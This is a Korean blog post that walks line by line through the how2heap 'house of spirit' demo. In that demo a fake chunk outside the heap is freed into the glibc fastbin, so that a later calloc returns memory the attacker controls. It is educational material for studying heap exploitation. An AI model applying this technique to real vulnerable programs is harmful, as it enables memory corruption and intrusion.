Hacking/Pwnable

[Hacking] / [Pwnable - How2Heap] Heap exploitation : house_of_spirit.c

Cooku222 2025. 5. 12. 13:10


 
원문 주소 : shellphish/how2heap: A repository for learning various heap exploitation techniques.

GitHub - shellphish/how2heap: A repository for learning various heap exploitation techniques.

A repository for learning various heap exploitation techniques. - shellphish/how2heap

github.com


house_of_spirit.c

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	setbuf(stdout, NULL);

	puts("This file demonstrates the house of spirit attack.");
	puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.");
	puts("Required primitives: known target address, ability to set up the start/end of the target memory");

	puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache");
	void *chunks[7];
	for(int i=0; i<7; i++) {
		chunks[i] = malloc(0x30);
	}
	for(int i=0; i<7; i++) {
		free(chunks[i]);
	}

	puts("\nStep 2: Prepare the fake chunk");
	// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
	long fake_chunks[10] __attribute__ ((aligned (0x10)));
	printf("The target fake chunk is at %p\n", fake_chunks);
	printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]);
	printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
	puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.");
	printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]);
	fake_chunks[1] = 0x40; // this is the size

	printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
	printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]);
	fake_chunks[9] = 0x1234; // nextsize

	puts("\nStep 3: Free the first fake chunk");
	puts("Note that the address of the fake chunk must be 16-byte aligned.\n");
	void *victim = &fake_chunks[2];
	free(victim);

	puts("\nStep 4: Take out the fake chunk");
	printf("Now the next calloc will return our fake chunk at %p!\n", &fake_chunks[2]);
	printf("malloc can do the trick as well, you just need to do it for 8 times.");
	void *allocated = calloc(1, 0x30);
	printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim);

	assert(allocated == victim);
}

해당 예제는 heap에 있는 청크가 아닌, 임의의 위치(예: 전역 변수나 스택 등)를 fastbin에 집어넣는 방식으로 arbitrary write를 유도

setbuf(stdout, NULL);

	puts("This file demonstrates the house of spirit attack.");
	puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.");
	puts("Required primitives: known target address, ability to set up the start/end of the target memory");

 setbuf : 출력 버퍼링 제거 → 디버깅 편하게 하려고
비-힙 영역 (예: 전역 변수 배열)의 포인터를 fake chunk처럼 만들어 free하고 이후 malloc()을 호출하면 그 위치가 반환되도록 유도
 
 

	puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache");
	void *chunks[7];
	for(int i=0; i<7; i++) {
		chunks[i] = malloc(0x30);
	}
	for(int i=0; i<7; i++) {
		free(chunks[i]);
	}

-> 7개의 chunk를 할당 후 tcache를 free함.
=> tcache의 0x30 크기 bin이 가득 참 (기본적으로 tcache는 size별로 최대 7개 저장 가능)
-> free한 청크가 fastbin으로 들어감

	puts("\nStep 2: Prepare the fake chunk");
	// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
	long fake_chunks[10] __attribute__ ((aligned (0x10)));
	printf("The target fake chunk is at %p\n", fake_chunks);
	printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]);
	printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
	puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.");
	printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]);
	fake_chunks[1] = 0x40; // this is the size

-> 공격에 사용할 가짜 청크(fake chunk)
 
- fake_chunks는 전역 스택/데이터 영역에 잡힌 배열
- __attribute__((aligned(0x10)))는 16바이트 정렬 — 청크 헤더 정렬 조건을 만족시키기 위함
- 즉, malloc 내부 구조에 맞게끔 헤더가 정렬된 청크처럼 보이게 하기 위한 정렬

printf("The target fake chunk is at %p\n", fake_chunks);
printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]);

- fake_chunks는 총 10개 long형 → 총 80바이트 (10 * 8)
- 그 중:
- 첫 번째 fake chunk는 &fake_chunks[1] → 청크 헤더 이후 실제 payload 시작 위치
- 두 번째 fake chunk는 &fake_chunks[9] → 이건 그냥 경계로 쓰일 예정

puts("This chunk.size of this region has to be 16 more than the region...");

 
 
 
 
malloc은 내부적으로 사용자 요청보다 16바이트 더 큰 크기를 잡음→ chunk.size = 요청 크기 + 0x10 형태
또한 fastbin은 0x10 단위로, 0x20 ~ 0x80 (실제 요청 크기 기준) 범위만 사용 가능 → 내부 chunk.size는 최대 0x90까지 허용됨
=> fake chunk의 size 필드를 조작할 때도 이 조건을 맞춰야 함

puts("... note that this has to be the size of the next malloc request rounded ...");

 
예: malloc(0x30) → 내부적으로는 0x40 크기로 처리됨 → 그래서 fake chunk의 size는 0x40으로 설정해야 malloc이 이걸 “유효한 fastbin 청크”로 받아들임

printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]);
fake_chunks[1] = 0x40;

- fake_chunks[1]에 청크의 size 필드를 저장
- 왜 [1]이냐면:
glibc malloc 구조 상 chunk의 size는 청크 시작 주소 기준 +8 바이트 위치에 저장되기 때문
=> 즉, &fake_chunks[1]이 chunk.header + 0x8이 되는 위치 → 여기에 0x40 써서 “이건 0x40짜리 chunk입니다”라고 주장하듯 ㅇㅇ

	printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
	printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]);
	fake_chunks[9] = 0x1234; // nextsize

	puts("\nStep 3: Free the first fake chunk");
	puts("Note that the address of the fake chunk must be 16-byte aligned.\n");
	void *victim = &fake_chunks[2];
	free(victim);
printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");

- 이건 free() 시 glibc가 수행하는 next chunk size에 대한 무결성 검사(nextsize integrity check)를 통과하기 위한 조치입니다.
=> 즉, fake chunk 다음에 오는 다음 청크의 size도 말이 되는 값이어야 free()에서 abort가 안 납니다.

printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]);
fake_chunks[9] = 0x1234; // nextsize

 
- fake_chunks[9]는 fake chunk 이후에 오는 다음 chunk의 size 필드 위치
- 여기에 0x1234처럼 그럴싸한 유효한 크기 값을 넣어서, free()가 무사히 통과하게끔 만듭니다.

puts("\nStep 3: Free the first fake chunk");
puts("Note that the address of the fake chunk must be 16-byte aligned.\n");

- fake chunk를 free할 예정
- glibc는 free()의 인자가 16바이트 정렬된 포인터가 아니면 reject하므로 꼭 맞춰야 함→ 그래서 앞에서 __attribute__((aligned(0x10)))도 썼던 것

void *victim = &fake_chunks[2];
free(victim);

 
 
 
 
- House of Spirit의 핵심 트리거
- &fake_chunks[2]는 fake chunk의 payload 부분을 가리키고 있음 (헤더 기준 + 0x10)
- 내부적으로 glibc는 victim - 0x10 위치를 보고 fake chunk의 메타데이터(size, next_chunk->prev_size)를 읽음
- 우리가 이걸 적절히 조작했기 때문에, 실제 heap이 아님에도 불구하고 free()가 성공적으로 fastbin에 등록함

	puts("\nStep 4: Take out the fake chunk");
	printf("Now the next calloc will return our fake chunk at %p!\n", &fake_chunks[2]);
	printf("malloc can do the trick as well, you just need to do it for 8 times.");
	void *allocated = calloc(1, 0x30);
	printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim);

	assert(allocated == victim);
}

 

puts("\nStep 4: Take out the fake chunk");

-> fake chunk를 꺼내서 메모리를 제어할 차례

printf("Now the next calloc will return our fake chunk at %p!\n", &fake_chunks[2]);

 
- &fake_chunks[2]는 앞서 free()한 fake chunk의 payload 시작 주소입니다.
- calloc(1, 0x30)이 이 주소를 반환하면 성공.

printf("malloc can do the trick as well, you just need to do it for 8 times.");

- 앞에서 tcache를 7개로 꽉 채운 상태입니다.
- 이후 free()된 fake chunk는 fastbin으로 들어갔습니다.
- malloc()은 tcache를 우선 소모하고, 다 소진되면 fastbin을 꺼냅니다.
=> malloc(0x30)을 8번 하면 → tcache 7개 꺼내고 → 8번째에 fake chunk가 나옴.
 
그러나 calloc()은 내부적으로 tcache에서 바로 꺼내지 않고, zero-initialized chunk를 fastbin에서 가져올 수 있음 → 바로 hit됨.

void *allocated = calloc(1, 0x30);

- 실제로 fake chunk를 꺼내는 시도
- 성공하면 allocated == &fake_chunks[2]가 됨

printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim);
assert(allocated == victim);

- 로그 출력 및 확인
- allocated == victim이면 → fake chunk가 malloc 시스템에 의해 실제로 반환됨 → House of Spirit 성공